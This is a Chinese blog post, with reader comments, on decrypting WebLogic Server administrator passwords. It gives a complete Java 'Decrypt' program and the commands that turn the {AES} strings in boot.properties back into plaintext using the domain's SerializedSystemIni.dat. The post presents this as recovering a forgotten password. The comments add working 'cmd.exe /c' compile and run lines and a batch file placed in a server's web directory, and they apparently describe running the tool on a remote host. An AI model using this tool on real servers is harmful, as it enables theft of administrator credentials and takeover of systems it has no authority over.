如何破解WebLogic管理密码

有时候, 也许管理员会忘记WebLogic域的管理用户名和密码, 那么如何恢复这些密码呢? 在本文将会演示如何通过一个简单的Java程序在几秒内恢复遗忘的用户名和密码, 适用于WebLogic Server版本8,9,10,11.

步骤一: 创建一个单独的目录, 例如 C:\DecryptionDemo.

步骤二: 创建一个Java文件Decrypt.java, 代码内容如下:

   
   
   
   
import java.io.PrintStream; import weblogic.security.internal. * ; import weblogic.security.internal.encryption. * ; public class Decrypt { static EncryptionService es = null ; static ClearOrEncryptedService ces = null ; public static void main(String args[]) { String s = null ; if (args.length == 0 ) s = ServerAuthenticate.promptValue( " Password: " , false ); else if (args.length == 1 ) s = args[ 0 ]; else System.err.println( " Usage: java Decrypt [ password ] " ); es = SerializedSystemIni.getExistingEncryptionService(); if (es == null ) { System.err.println( " Unable to initialize encryption service " ); return ; } ces = new ClearOrEncryptedService(es); if (s != null ) System.out.println( " \nDecrypted Password is: " + ces.decrypt(s)); } }

步骤三: 运行相关命令解密位于D:\bea\user_projects\domains\1034\servers\AdminServer\security\boot.properties文件中的字符串:

call D:\bea\wlserver_10.3\server\bin\setWLSEnv.cmd

copy D:\bea\user_projects\domains\1034\security\SerializedSystemIni.dat .\

javac Decrypt.java

java -cp .;%CLASSPATH% Decrypt {AES}QxP9vMIXw7g39iRfGNlZ76TOoHq9bLhwnTjlBWopGBw=

pause

此时可以看到密码原文为 weblogic1 . 效果如下图所示:

安全隐患:

如果任何人知道您的domain的名称, 那么他就可以创建一个相同名称的domain, 来获得文件SerializedSystemIni.dat和boot.properties, 然后就可以破解到原始的密码明文, 也许这是一个安全漏洞!

本文内容改编自 http://middlewaremagic.com/weblogic/?p=5806.

转载请注明:WebLogic Android 博客 » 如何破解WebLogic管理密码?





还是这个方法好.

http://bobao.360.cn/learning/detail/337.html 和 http://blog.csdn.net/rznice/article/details/50906335 并没有成功


折腾了一天半:

需要注意的事项:


cmd.exe /c javac -classpath .;C:/Oracle/wlserver_10.3/server/lib/weblogic.jar;C:/Oracle/wlserver_10.3/server/lib/webservices.jar Decrypt.java
cmd.exe /c java -classpath .;C:/Oracle//wlserver_10.3/server/lib/weblogic.jar;C:/Oracle/wlserver_10.3/server/lib/webservices.jar Decrypt {AES}字符串



要制定路径;而且本地的两个jar和远程不一样.


如果C盘不能写非交换的情况下可以使用批处理:

D:/WebApps/loginsec.bat


C:\Oracle\user_projects\domains\portal_domain>cd /d D:/WebApps/ 

D:\WebApps\>java -classpath .;C:/Oracle/wlserver_10.3/server/lib/weblogic.jar;C:/Oracle/wlserver_10.3/server/lib/webservices.jar Decrypt {AES}xxxxxxxxxxxxxxxxx

你可能感兴趣的:(如何破解WebLogic管理密码)